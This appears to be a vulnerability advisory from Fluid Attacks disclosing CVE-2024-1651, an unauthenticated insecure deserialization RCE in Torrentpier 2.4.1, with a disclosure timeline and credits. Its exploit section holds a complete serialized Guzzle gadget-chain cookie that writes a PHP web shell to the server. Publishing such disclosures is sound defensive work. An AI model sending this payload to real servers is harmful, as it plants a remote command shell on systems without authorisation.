Torrentpier 2.4.1 - RCE

Summary

NameTorrentpier 2.4.1 - RCE
Code name
ProductTorrentpier
Affected versionsVersion 2.4.1
StatePublic
Release date2024-02-19

Vulnerability

KindInsecure Deserialization
Rule
RemoteYes
CVSSv3.1 VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSSv3.1 Base Score10.0
Exploit availableYes
CVE ID(s)

Description

Torrentpier version 2.4.1 allows executing arbitrary commands on the server. This is possible because the application is vulnerable to insecure deserialization.

Vulnerability

An insecure deserialization vulnerability has been identified in Torrentpier that allows an attacker to obtain RCE on the server. This was made possible by deserializing arbitrary data sent by the user.

Exploit

a%3A3%3A%7Bs%3A2%3A%22uk%22%3Bs%3A32%3A%22VH1LEjOTawqJ5RZcXzht2Ew1Z94vhgu9%22%3Bs%3A3%3A%22uid%22%3Bi%3A2%3Bs%3A3%3A%22sid%22%3Bs%3A20%3A%22VsZHWgRXmBhbsVdztxwR%22%3B%7D;bb_t=O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"%00GuzzleHttp\Cookie\CookieJar%00cookies"%3Ba:1:{i:0%3BO:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"%00GuzzleHttp\Cookie\SetCookie%00data"%3Ba:3:{s:7:"Expires"%3Bi:1%3Bs:7:"Discard"%3Bb:0%3Bs:5:"Value"%3Bs:35:"<?php%20echo%20system($_GET['cmd'])%3B?>%0A"%3B}}}s:39:"%00GuzzleHttp\Cookie\CookieJar%00strictMode"%3BN%3Bs:41:"%00GuzzleHttp\Cookie\FileCookieJar%00filename"%3Bs:32:"/opt/homebrew/var/www/hacked.php"%3Bs:52:"%00GuzzleHttp\Cookie\FileCookieJar%00storeSessionCookies"%3Bb:1%3B}

Evidence of exploitation

Our security policy

We have reserved the ID CVE-2024-1651 to refer to this issue from now on.

System Information

  • Version: Torrentpier 2.4.1

  • Operating System: MacOS

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.

References

Vendor page https://github.com/torrentpier/torrentpier

Timeline

Time-lapse-logo

2024-02-05

Vulnerability discovered.

Time-lapse-logo

2024-02-05

Vendor contacted.

Time-lapse-logo

2024-02-07

Vendor replied acknowledging the report.

Time-lapse-logo

2024-02-07

Vendor Confirmed the vulnerability.

Time-lapse-logo

2024-02-19

Public Disclosure.

Fluid Logo Footer

Hacking software for over 20 years

Fluid Attacks tests applications and other systems, covering all software development stages. Our team assists clients in quickly identifying and managing vulnerabilities to reduce the risk of incidents and deploy secure technology.

Copyright © 0 Fluid Attacks. We hack your software. All rights reserved.